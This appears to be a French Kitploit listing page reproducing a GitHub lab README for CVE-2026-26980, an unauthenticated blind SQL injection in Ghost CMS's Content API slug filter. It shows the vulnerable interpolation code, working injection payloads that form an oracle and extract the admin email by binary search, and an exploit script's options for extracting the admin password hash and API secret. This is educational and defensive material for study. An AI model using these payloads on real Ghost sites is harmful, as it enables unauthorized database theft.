Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ghost-cve-2026-26980 — CVE-2026-26980 — Laboratoire d'injection SQL de l'API de contenu Ghost CMS (SQLi aveugle non authentifié via le tri du filtre slug) | Kitploit
Outils/GitHubGitHub/dinosn/ghost-cve-2026-26980
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et ÉducationSécurité des Bases de DonnéesLabs et Pratique
GitHubdinosn/ghost-cve-2026-26980

ghost-cve-2026-26980

CVE-2026-26980 — Laboratoire d'injection SQL de l'API de contenu Ghost CMS (SQLi aveugle non authentifié via le tri du filtre slug)

19421il y a 5 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-26980 — Laboratoire d'injection SQL dans l'API Content de Ghost CMS

Injection SQL aveugle non authentifiée dans Ghost CMS via le mécanisme de tri du filtre slug de l'API Content, permettant des lectures arbitraires de la base de données depuis n'importe quelle instance Ghost sans identifiants.

CVECVE-2026-26980
Avis de sécuritéGHSA-w52v-v783-gw97
CVSS9.4 (Critique)
CWECWE-89 (Injection SQL)
Versions affectéesGhost 3.24.0 -- 6.19.0
Version corrigéeGhost 6.19.1
Authentification requiseAucune (la clé de l'API Content est publique par conception)
Crédit/RéférencesNicholas Carlini avec Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg]

Avertissement -- Ce laboratoire est destiné uniquement aux tests de sécurité autorisés, à l'éducation et à la recherche défensive. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.

Vue d'ensemble

L'API Content de Ghost prend en charge le filtrage des tags et des articles par slug en utilisant la notation de tableau : filter=slug:[tag-a,tag-b]. En interne, une fonction utilitaire construit une instruction ORDER BY CASE pour préserver l'ordre des slugs demandé. Avant la v6.19.1, les valeurs de slug fournies par l'utilisateur étaient interpolées directement dans ce SQL sans paramétrisation :

// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNÉRABLE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

La clé de l'API Content est intégrée dans le HTML de chaque site Ghost (data-key="..."), ce qui en fait une surface d'attaque entièrement non authentifiée.

Mécanisme de la vulnérabilité

Le contournement de NQL

Le langage de requête NQL de Ghost valide les entrées du filtre et rejette les guillemets simples bruts ou les espaces. Cependant, NQL accepte les valeurs entourées de guillemets simples dans la notation de tableau (slug:['valeur']), en transmettant les guillemets comme faisant partie du littéral. L'expression régulière slugFilterOrder extrait ces valeurs et les interpole — guillemets inclus — dans le SQL :

Filtre :  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL transmet les guillemets comme caractères littéraux

SQL généré

Après interpolation, le ORDER BY devient :

CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

Dans le mode SQL par défaut de MySQL, || est OR et '' est faux. Cela nous donne un oracle booléen propre :

ConditionRésultat CASEEffet
VRAI'' OR 0 OR '' = 0Réponse normale (HTTP 200)
FAUX'' OR EXP(710) OR ''Erreur de dépassement DOUBLE (HTTP 500)

Extraction des données

Avec l'oracle établi, l'extraction aveugle standard par recherche binaire s'applique :

slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

La syntaxe SUBSTR(... FROM pos FOR len) évite les virgules (que slugFilterOrder utilise comme séparateurs).

Captures d'écran

Oracle booléen : condition VRAIE (HTTP 200) vs condition FAUSSE (HTTP 500)

VRAI (1=1) → HTTP 200FAUX (1=0) → HTTP 500
VRAIFAUX

Extraction de données par recherche binaire

Extraction de données

Validation du correctif : v6.18.0 vs v6.19.1

Validation du correctif

Plus de captures d'écran

Interface Ghost

Interface Ghost

Clé de l'API Content dans le code source de la page

Clé API

Réponse API normale

Requête normale

Le correctif (v6.19.1)

Le correctif remplace l'interpolation de chaînes par des liaisons paramétrées :

// CORRIGÉ
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

Le plugin crud.js a été mis à jour pour transmettre les liaisons via orderByRaw, et @tryghost/bookshelf-plugins a été mis à niveau vers 0.6.29 qui ajoute la prise en charge des liaisons.

Configuration du laboratoire

Prérequis

  • Docker et Docker Compose
  • Python 3.8+ avec requests

Démarrage rapide

# Cloner et entrer dans le laboratoire
git clone <ce-dépôt> && cd ghost-cve-2026-26980

# Installer la dépendance Python
pip install -r requirements.txt

# Démarrer l'instance Ghost vulnérable (6.18.0 + MySQL 8)
docker compose up -d

# Attendre ~45 secondes que Ghost s'initialise, puis exécuter l'exploit
python3 exploit.py --url http://localhost:2368

Valider le correctif

# Démarrer également le Ghost 6.19.1 corrigé sur le port 2369
docker compose --profile fixed up -d

# Attendre ~45 secondes, puis confirmer que le correctif bloque l'injection
python3 exploit.py --url http://localhost:2369 --validate-fix

Validation en une commande

bash validate.sh

Nettoyage

docker compose --profile fixed down -v

Utilisation de l'exploit

usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            URL de Ghost (défaut : http://localhost:2368)
  --validate-fix       Confirmer que la cible n'est PAS vulnérable
  --extract-password   Extraire également le hash bcrypt de l'admin
  --extract-api-key    Extraire également le secret de l'API admin
  --content-key KEY    Ignorer la configuration, utiliser directement cette clé de l'API Content
  -v, --verbose        Afficher les résultats de l'oracle par requête

Exemple de sortie

====================================================
CVE-2026-26980 — Injection SQL dans l'API Content de Ghost CMS
====================================================

[*] Attente que Ghost soit prêt sur http://localhost:2368
[*] Configuration de Ghost (admin : [email protected])
[+] Configuration terminée — établissement de la session
[+] Connecté
[+] Clé de l'API Content : ad63c06a71457583ea58f050c1
[+] Slug d'ancrage : news
Télécharger l’outil